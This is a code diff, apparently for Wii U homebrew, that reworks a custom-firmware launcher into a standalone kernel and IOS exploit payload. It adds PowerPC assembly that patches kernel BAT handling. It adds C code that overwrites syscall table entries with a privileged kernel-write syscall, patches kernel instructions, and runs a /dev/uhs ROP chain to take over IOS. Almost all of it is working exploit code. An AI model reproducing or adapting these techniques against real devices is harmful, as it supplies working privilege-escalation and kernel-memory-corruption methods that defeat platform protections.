int ExecuteIOSExploit(cfw_config_t * config)
|
int ExecuteIOSExploit(){
|
||||||
{
|
|
||||||
|
unsigned int coreinit_handle;
|
||||||
|
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||||
|
|
||||||
|
int (*IOS_Open)(char *path, unsigned int mode);
|
||||||
|
int (*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len);
|
||||||
|
int (*IOS_Close)(int fd);
|
||||||
|
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);
|
||||||
|
|
||||||
|
|
||||||
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
|
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
|
||||||
if(iosuhaxFd >= 0)
|
if(iosuhaxFd >= 0)
|
||||||
{
|
{
|
||||||
@ -397,10 +390,11 @@ int ExecuteIOSExploit(cfw_config_t * config)
|
|||||||
|
|
||||||
//! execute exploit
|
//! execute exploit
|
||||||
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
|
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
|
||||||
if(dev_uhs_0_handle < 0)
|
if(dev_uhs_0_handle < 0){
|
||||||
return dev_uhs_0_handle;
|
return dev_uhs_0_handle;
|
||||||
|
}
|
||||||
|
|
||||||
uhs_exploit_init(dev_uhs_0_handle, config);
|
uhs_exploit_init(dev_uhs_0_handle);
|
||||||
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
|
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
|
||||||
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
|
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
|
||||||
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
|
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
|
||||||
|
@ -1,13 +1,11 @@
|
|||||||
#ifndef _IOS_EXPLOIT_H_
|
#ifndef _IOS_EXPLOIT_H_
|
||||||
#define _IOS_EXPLOIT_H_
|
#define _IOS_EXPLOIT_H_
|
||||||
|
|
||||||
#include "cfw_config.h"
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
int ExecuteIOSExploit(cfw_config_t * config);
|
int ExecuteIOSExploit();
|
||||||
|
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
}
|
}
|
||||||
|
239
src/kernel_asm.S
Normal file
239
src/kernel_asm.S
Normal file
@ -0,0 +1,239 @@
|
|||||||
|
.section ".kernel_code"
|
||||||
|
.globl SaveAndResetDataBATs_And_SRs_hook
|
||||||
|
SaveAndResetDataBATs_And_SRs_hook:
|
||||||
|
# setup CTR to the position we need to return to
|
||||||
|
mflr r5
|
||||||
|
mtctr r5
|
||||||
|
# set link register to its original value
|
||||||
|
mtlr r7
|
||||||
|
# setup us a nice DBAT for our code data with same region as our code
|
||||||
|
mfspr r5, 560
|
||||||
|
mtspr 570, r5
|
||||||
|
mfspr r5, 561
|
||||||
|
mtspr 571, r5
|
||||||
|
# restore the original kernel instructions that we replaced
|
||||||
|
lwz r5, 0x34(r3)
|
||||||
|
lwz r6, 0x38(r3)
|
||||||
|
lwz r7, 0x3C(r3)
|
||||||
|
lwz r8, 0x40(r3)
|
||||||
|
lwz r9, 0x44(r3)
|
||||||
|
lwz r10, 0x48(r3)
|
||||||
|
lwz r11, 0x4C(r3)
|
||||||
|
lwz r3, 0x50(r3)
|
||||||
|
isync
|
||||||
|
mtsr 7, r5
|
||||||
|
# jump back to the position in kernel after our patch (from LR)
|
||||||
|
bctr
|
||||||
|
|
||||||
|
|
||||||
|
#define BAT_SETUP_HOOK_ADDR 0xFFF1D624
|
||||||
|
# not all of those NOP address are required for every firmware
|
||||||
|
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
|
||||||
|
#define BAT_SET_NOP_ADDR_1 0xFFF06B6C
|
||||||
|
#define BAT_SET_NOP_ADDR_2 0xFFF06BF8
|
||||||
|
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||||
|
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||||
|
#define BAT_SET_NOP_ADDR_5 0xFFF1D70C
|
||||||
|
#define BAT_SET_NOP_ADDR_6 0xFFF1D728
|
||||||
|
#define BAT_SET_NOP_ADDR_7 0xFFF1D82C
|
||||||
|
|
||||||
|
#define BAT_SET_NOP_ADDR_8 0xFFEE11C4
|
||||||
|
#define BAT_SET_NOP_ADDR_9 0xFFEE11C8
|
||||||
|
|
||||||
|
#define BAT_SETUP_HOOK_ENTRY 0x00800000
|
||||||
|
|
||||||
|
|
||||||
|
#define BAT4U_VAL 0x008000FF
|
||||||
|
#define BAT4L_VAL 0x30800012
|
||||||
|
|
||||||
|
|
||||||
|
#define SET_R4_TO_ADDR(addr) \
|
||||||
|
lis r3, addr@h ; \
|
||||||
|
ori r3, r3, addr@l ; \
|
||||||
|
stw r4, 0(r3) ; \
|
||||||
|
dcbf 0, r3 ; \
|
||||||
|
icbi 0, r3 ;
|
||||||
|
|
||||||
|
.globl Syscall_0x36
|
||||||
|
Syscall_0x36:
|
||||||
|
li r0, 0x3600
|
||||||
|
sc
|
||||||
|
blr
|
||||||
|
|
||||||
|
|
||||||
|
.global SCKernelCopyData
|
||||||
|
SCKernelCopyData:
|
||||||
|
// Disable data address translation
|
||||||
|
mfmsr %r6
|
||||||
|
li %r7, 0x10
|
||||||
|
andc %r6, %r6, %r7
|
||||||
|
mtmsr %r6
|
||||||
|
|
||||||
|
// Copy data
|
||||||
|
addi %r3, %r3, -1
|
||||||
|
addi %r4, %r4, -1
|
||||||
|
mtctr %r5
|
||||||
|
SCKernelCopyData_loop:
|
||||||
|
lbzu %r5, 1(%r4)
|
||||||
|
stbu %r5, 1(%r3)
|
||||||
|
bdnz SCKernelCopyData_loop
|
||||||
|
|
||||||
|
// Enable data address translation
|
||||||
|
ori %r6, %r6, 0x10
|
||||||
|
mtmsr %r6
|
||||||
|
blr
|
||||||
|
|
||||||
|
.global SC_0x25_KernelCopyData
|
||||||
|
SC_0x25_KernelCopyData:
|
||||||
|
li %r0, 0x2500
|
||||||
|
sc
|
||||||
|
blr
|
||||||
|
|
||||||
|
.globl KernelPatches
|
||||||
|
KernelPatches:
|
||||||
|
# store the old DBAT0
|
||||||
|
mfdbatu r5, 0
|
||||||
|
mfdbatl r6, 0
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# setup DBAT0 for access to kernel code memory
|
||||||
|
lis r3, 0xFFF0
|
||||||
|
ori r3, r3, 0x0002
|
||||||
|
mtdbatu 0, r3
|
||||||
|
lis r3, 0xFFF0
|
||||||
|
ori r3, r3, 0x0032
|
||||||
|
mtdbatl 0, r3
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though
|
||||||
|
# just chosen because its simple
|
||||||
|
lis r3, BAT_SETUP_HOOK_ADDR@h
|
||||||
|
ori r3, r3, BAT_SETUP_HOOK_ADDR@l
|
||||||
|
|
||||||
|
# make the kernel setup our section in IBAT4 and
|
||||||
|
# jump to our function to restore the replaced instructions
|
||||||
|
lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h
|
||||||
|
ori r4, r4, BAT4L_VAL@h
|
||||||
|
stw r4, 0x00(r3)
|
||||||
|
lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l
|
||||||
|
ori r4, r4, BAT4L_VAL@l
|
||||||
|
stw r4, 0x04(r3)
|
||||||
|
lis r4, 0x7cf1 # mtspr 561, r7
|
||||||
|
ori r4, r4, 0x8ba6
|
||||||
|
stw r4, 0x08(r3)
|
||||||
|
lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h
|
||||||
|
ori r4, r4, BAT4U_VAL@h
|
||||||
|
stw r4, 0x0C(r3)
|
||||||
|
lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l
|
||||||
|
ori r4, r4, BAT4U_VAL@l
|
||||||
|
stw r4, 0x10(r3)
|
||||||
|
lis r4, 0x7cf0 # mtspr 560, r7
|
||||||
|
ori r4, r4, 0x8ba6
|
||||||
|
stw r4, 0x14(r3)
|
||||||
|
lis r4, 0x7c00 # eieio
|
||||||
|
ori r4, r4, 0x06ac
|
||||||
|
stw r4, 0x18(r3)
|
||||||
|
lis r4, 0x4c00 # isync
|
||||||
|
ori r4, r4, 0x012c
|
||||||
|
stw r4, 0x1C(r3)
|
||||||
|
lis r4, 0x7ce8 # mflr r7
|
||||||
|
ori r4, r4, 0x02a6
|
||||||
|
stw r4, 0x20(r3)
|
||||||
|
lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY
|
||||||
|
ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l
|
||||||
|
stw r4, 0x24(r3)
|
||||||
|
|
||||||
|
# flush and invalidate the replaced instructions
|
||||||
|
lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h
|
||||||
|
ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l
|
||||||
|
dcbf 0, r3
|
||||||
|
icbi 0, r3
|
||||||
|
lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h
|
||||||
|
ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l
|
||||||
|
dcbf 0, r3
|
||||||
|
icbi 0, r3
|
||||||
|
sync
|
||||||
|
|
||||||
|
# setup IBAT4 for core 1 at this position (not really required but wont hurt)
|
||||||
|
# IBATL 4
|
||||||
|
lis r3, BAT4L_VAL@h
|
||||||
|
ori r3, r3, BAT4L_VAL@l
|
||||||
|
mtspr 561, r3
|
||||||
|
|
||||||
|
# IBATU 4
|
||||||
|
lis r3, BAT4U_VAL@h
|
||||||
|
ori r3, r3, BAT4U_VAL@l
|
||||||
|
mtspr 560, r3
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# write "nop" to some positions
|
||||||
|
lis r4, 0x6000
|
||||||
|
# nop on IBATU 4 and DBAT 5 set/reset
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_1
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1)
|
||||||
|
#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_2
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2)
|
||||||
|
#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_3
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3)
|
||||||
|
#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_4
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4)
|
||||||
|
#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_5
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5)
|
||||||
|
#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_6
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6)
|
||||||
|
#endif
|
||||||
|
#ifdef BAT_SET_NOP_ADDR_7
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9))
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# setup DBAT0 for access to kernel code memory
|
||||||
|
lis r3, 0xFFEE
|
||||||
|
ori r3, r3, 0x0002
|
||||||
|
mtdbatu 0, r3
|
||||||
|
lis r3, 0xFFEE
|
||||||
|
ori r3, r3, 0x0032
|
||||||
|
mtdbatl 0, r3
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# write "nop" to some positions
|
||||||
|
lis r4, 0x6000
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8)
|
||||||
|
SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
# restore DBAT 0 and return from interrupt
|
||||||
|
mtdbatu 0, r5
|
||||||
|
mtdbatl 0, r6
|
||||||
|
|
||||||
|
# memory barrier
|
||||||
|
eieio
|
||||||
|
isync
|
||||||
|
|
||||||
|
blr
|
||||||
|
|
35
src/link.ld
35
src/link.ld
@ -1,40 +1,23 @@
|
|||||||
OUTPUT(ftpiiu.elf);
|
OUTPUT(payload.elf);
|
||||||
|
|
||||||
/* Tell linker where our application entry is so the garbage collect can work correct */
|
ENTRY(_start);
|
||||||
ENTRY(__entry_menu);
|
|
||||||
|
|
||||||
SECTIONS {
|
SECTIONS {
|
||||||
. = 0x00802000;
|
. = 0x00800000;
|
||||||
.text : {
|
.text : {
|
||||||
|
*(.kernel_code*);
|
||||||
*(.text*);
|
*(.text*);
|
||||||
}
|
/* Tell linker to not garbage collect this section as it is not referenced anywhere */
|
||||||
.rodata : {
|
KEEP(*(.kernel_code*));
|
||||||
*(.rodata*);
|
}
|
||||||
}
|
|
||||||
.data : {
|
.data : {
|
||||||
|
*(.rodata*);
|
||||||
*(.data*);
|
*(.data*);
|
||||||
|
|
||||||
__sdata_start = .;
|
|
||||||
*(.sdata*);
|
|
||||||
__sdata_end = .;
|
|
||||||
|
|
||||||
__sdata2_start = .;
|
|
||||||
*(.sdata2*);
|
|
||||||
__sdata2_end = .;
|
|
||||||
}
|
|
||||||
.bss : {
|
|
||||||
__bss_start = .;
|
|
||||||
*(.bss*);
|
*(.bss*);
|
||||||
*(.sbss*);
|
|
||||||
*(COMMON);
|
|
||||||
__bss_end = .;
|
|
||||||
}
|
}
|
||||||
__CODE_END = .;
|
|
||||||
|
|
||||||
/DISCARD/ : {
|
/DISCARD/ : {
|
||||||
*(*);
|
*(*);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/******************************************************** FS ********************************************************/
|
ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x7C0000, "elf is too big");
|
||||||
/* coreinit.rpl difference in addresses 0xFE3C00 */
|
|
201
src/main.c
201
src/main.c
@ -5,98 +5,145 @@
|
|||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include "dynamic_libs/os_functions.h"
|
|
||||||
#include "dynamic_libs/fs_functions.h"
|
|
||||||
#include "dynamic_libs/gx2_functions.h"
|
|
||||||
#include "dynamic_libs/sys_functions.h"
|
|
||||||
#include "dynamic_libs/vpad_functions.h"
|
|
||||||
#include "dynamic_libs/socket_functions.h"
|
|
||||||
#include "fs/fs_utils.h"
|
|
||||||
#include "fs/sd_fat_devoptab.h"
|
|
||||||
#include "system/memory.h"
|
|
||||||
#include "utils/logger.h"
|
|
||||||
#include "utils/utils.h"
|
|
||||||
#include "common/common.h"
|
|
||||||
#include "menu.h"
|
|
||||||
#include "main.h"
|
#include "main.h"
|
||||||
#include "ios_exploit.h"
|
#include "ios_exploit.h"
|
||||||
|
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4)
|
||||||
|
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828)
|
||||||
|
#define OSFatal ((void (*)(char* msg))0x01031618)
|
||||||
|
|
||||||
static int exitToHBLOnLaunch = 0;
|
#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__);
|
||||||
|
#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func)
|
||||||
|
|
||||||
int Menu_Main(void)
|
#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040
|
||||||
{
|
#define ADDRESS_main_entry_hook 0x0101c56c
|
||||||
//!---------INIT---------
|
|
||||||
InitOSFunctionPointers();
|
|
||||||
InitSysFunctionPointers();
|
|
||||||
InitFSFunctionPointers();
|
|
||||||
InitSocketFunctionPointers();
|
|
||||||
InitVPadFunctionPointers();
|
|
||||||
|
|
||||||
u64 currenTitleId = OSGetTitleID();
|
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
|
||||||
|
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
|
||||||
|
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
|
||||||
|
#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu
|
||||||
|
#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)
|
||||||
|
|
||||||
// in case we are not in mii maker or HBL channel but in system menu or another channel we need to exit here
|
/* assembly functions */
|
||||||
if (currenTitleId != 0x000500101004A200 && // mii maker eur
|
extern void Syscall_0x36(void);
|
||||||
currenTitleId != 0x000500101004A100 && // mii maker usa
|
extern void KernelPatches(void);
|
||||||
currenTitleId != 0x000500101004A000 && // mii maker jpn
|
extern void SCKernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
|
||||||
currenTitleId != 0x0005000013374842) // HBL channel
|
|
||||||
{
|
|
||||||
return EXIT_RELAUNCH_ON_LOAD;
|
|
||||||
}
|
|
||||||
else if(exitToHBLOnLaunch)
|
|
||||||
{
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
VPADInit();
|
extern void SC_0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
|
||||||
int forceMenu = 0;
|
|
||||||
|
|
||||||
{
|
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value);
|
||||||
VPADData vpad;
|
|
||||||
int vpadError = -1;
|
|
||||||
VPADRead(0, &vpad, 1, &vpadError);
|
|
||||||
|
|
||||||
if(vpadError == 0)
|
typedef struct _private_data_t {
|
||||||
{
|
EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align);
|
||||||
forceMenu = (vpad.btns_d | vpad.btns_h) & VPAD_BUTTON_B;
|
EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr);
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
mount_sd_fat("sd");
|
EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s);
|
||||||
|
EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s);
|
||||||
|
|
||||||
cfw_config_t config;
|
EXPORT_DECL(unsigned int, OSEffectiveToPhysical, const void*);
|
||||||
default_config(&config);
|
EXPORT_DECL(void, exit, int);
|
||||||
read_config(&config);
|
EXPORT_DECL(void, DCInvalidateRange, const void *addr, unsigned int length);
|
||||||
|
EXPORT_DECL(void, DCFlushRange, const void *addr, unsigned int length);
|
||||||
|
EXPORT_DECL(void, ICInvalidateRange, const void *addr, unsigned int length);
|
||||||
|
EXPORT_DECL(void, OSForceFullRelaunch);
|
||||||
|
|
||||||
int launch = 1;
|
EXPORT_DECL(void, SYSRelaunchTitle, int argc, char** argv);
|
||||||
|
EXPORT_DECL(void, SYSLaunchMenu);
|
||||||
|
} private_data_t;
|
||||||
|
|
||||||
if(forceMenu || config.directLaunch == 0)
|
|
||||||
{
|
|
||||||
launch = ShowMenu(&config);
|
|
||||||
}
|
|
||||||
|
|
||||||
int returnCode = 0;
|
static void loadFunctionPointers(private_data_t * private_data) {
|
||||||
|
unsigned int coreinit_handle;
|
||||||
|
|
||||||
if(launch)
|
OSDynLoad_Acquire("coreinit", &coreinit_handle);
|
||||||
{
|
|
||||||
int res = ExecuteIOSExploit(&config);
|
|
||||||
if(res == 0)
|
|
||||||
{
|
|
||||||
if(config.noIosReload == 0)
|
|
||||||
{
|
|
||||||
OSForceFullRelaunch();
|
|
||||||
SYSLaunchMenu();
|
|
||||||
returnCode = EXIT_RELAUNCH_ON_LOAD;
|
|
||||||
}
|
|
||||||
else if(config.launchSysMenu)
|
|
||||||
{
|
|
||||||
SYSLaunchMenu();
|
|
||||||
exitToHBLOnLaunch = 1;
|
|
||||||
returnCode = EXIT_RELAUNCH_ON_LOAD;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
unmount_sd_fat("sd");
|
unsigned int *functionPtr = 0;
|
||||||
|
|
||||||
return returnCode;
|
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr);
|
||||||
|
private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr;
|
||||||
|
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr);
|
||||||
|
private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr;
|
||||||
|
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", private_data->DCFlushRange);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", private_data->DCInvalidateRange);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", private_data->ICInvalidateRange);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "OSEffectiveToPhysical", private_data->OSEffectiveToPhysical);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "OSForceFullRelaunch", private_data->OSForceFullRelaunch);
|
||||||
|
OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit);
|
||||||
|
|
||||||
|
unsigned int sysapp_handle;
|
||||||
|
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||||
|
OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle);
|
||||||
|
OS_FIND_EXPORT(sysapp_handle, "SYSLaunchMenu", private_data->SYSLaunchMenu);
|
||||||
|
}
|
||||||
|
|
||||||
|
void KernelWriteU32(uint32_t addr, uint32_t value, private_data_t * pdata) {
|
||||||
|
pdata->ICInvalidateRange(&value, 4);
|
||||||
|
pdata->DCFlushRange(&value, 4);
|
||||||
|
|
||||||
|
uint32_t dst = (uint32_t) pdata->OSEffectiveToPhysical((void *)addr);
|
||||||
|
uint32_t src = (uint32_t) pdata->OSEffectiveToPhysical((void *)&value);
|
||||||
|
|
||||||
|
SC_0x25_KernelCopyData(dst, src, 4);
|
||||||
|
|
||||||
|
pdata->DCFlushRange((void *)addr, 4);
|
||||||
|
pdata->ICInvalidateRange((void *)addr, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
int _start(int argc, char **argv) {
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x25 * 4)), (unsigned int)SCKernelCopyData);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (unsigned int)SCKernelCopyData);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x25 * 4)), (unsigned int)SCKernelCopyData);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x25 * 4)), (unsigned int)SCKernelCopyData);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (unsigned int)SCKernelCopyData);
|
||||||
|
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x36 * 4)), (unsigned int)KernelPatches);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x36 * 4)), (unsigned int)KernelPatches);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x36 * 4)), (unsigned int)KernelPatches);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x36 * 4)), (unsigned int)KernelPatches);
|
||||||
|
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), (unsigned int)KernelPatches);
|
||||||
|
|
||||||
|
Syscall_0x36();
|
||||||
|
|
||||||
|
ExecuteIOSExploit();
|
||||||
|
|
||||||
|
private_data_t private_data;
|
||||||
|
loadFunctionPointers(&private_data);
|
||||||
|
|
||||||
|
unsigned int repl_addr = ADDRESS_main_entry_hook;
|
||||||
|
unsigned int bufferU32 = 0x4E800421;
|
||||||
|
KernelWriteU32(repl_addr,bufferU32,&private_data);
|
||||||
|
|
||||||
|
// restart mii maker.
|
||||||
|
//private_data.SYSRelaunchTitle(0, 0);
|
||||||
|
//private_data.exit(0);
|
||||||
|
|
||||||
|
private_data.OSForceFullRelaunch();
|
||||||
|
private_data.SYSLaunchMenu();
|
||||||
|
|
||||||
|
return ( (int (*)(int, char **))(*(unsigned int*)0x1005E040) )(argc, argv);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Write a 32-bit word with kernel permissions */
|
||||||
|
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) {
|
||||||
|
asm volatile (
|
||||||
|
"li 3,1\n"
|
||||||
|
"li 4,0\n"
|
||||||
|
"mr 5,%1\n"
|
||||||
|
"li 6,0\n"
|
||||||
|
"li 7,0\n"
|
||||||
|
"lis 8,1\n"
|
||||||
|
"mr 9,%0\n"
|
||||||
|
"mr %1,1\n"
|
||||||
|
"li 0,0x3500\n"
|
||||||
|
"sc\n"
|
||||||
|
"nop\n"
|
||||||
|
"mr 1,%1\n"
|
||||||
|
:
|
||||||
|
: "r"(addr), "r"(value)
|
||||||
|
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
||||||
|
"11", "12"
|
||||||
|
);
|
||||||
}
|
}
|
@ -2,14 +2,16 @@
|
|||||||
#ifndef _MAIN_H_
|
#ifndef _MAIN_H_
|
||||||
#define _MAIN_H_
|
#define _MAIN_H_
|
||||||
|
|
||||||
#include "common/types.h"
|
|
||||||
#include "dynamic_libs/os_functions.h"
|
|
||||||
|
|
||||||
/* Main */
|
/* Main */
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4)
|
||||||
|
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828)
|
||||||
|
|
||||||
//! C wrapper for our C++ functions
|
//! C wrapper for our C++ functions
|
||||||
int Menu_Main(void);
|
int Menu_Main(void);
|
||||||
|
|
||||||
|
259
src/menu.c
259
src/menu.c
@ -1,259 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdarg.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <malloc.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <fcntl.h>
|
|
||||||
#include "dynamic_libs/os_functions.h"
|
|
||||||
#include "dynamic_libs/fs_functions.h"
|
|
||||||
#include "dynamic_libs/gx2_functions.h"
|
|
||||||
#include "dynamic_libs/sys_functions.h"
|
|
||||||
#include "dynamic_libs/vpad_functions.h"
|
|
||||||
#include "dynamic_libs/socket_functions.h"
|
|
||||||
#include "menu.h"
|
|
||||||
|
|
||||||
#define MAX_CONFIG_SETTINGS_EXPERT 9
|
|
||||||
#define MAX_CONFIG_SETTINGS_DEFAULT (MAX_CONFIG_SETTINGS_EXPERT - 3)
|
|
||||||
|
|
||||||
#define TEXT_SEL(x, text1, text2) ((x) ? (text1) : (text2))
|
|
||||||
|
|
||||||
struct {
|
|
||||||
const char *option;
|
|
||||||
const char *enabled;
|
|
||||||
const char *disabled;
|
|
||||||
} selection_options[] =
|
|
||||||
{
|
|
||||||
{ "Config view mode", "expert", "default" },
|
|
||||||
{ "Skip this menu on launch", "on", "off" },
|
|
||||||
{ "Show launch image", "on", "off" },
|
|
||||||
{ "Don't relaunch OS", "on", "off" },
|
|
||||||
{ "Launch System Menu", "on", "off" },
|
|
||||||
{ "redNAND", "on", "off" },
|
|
||||||
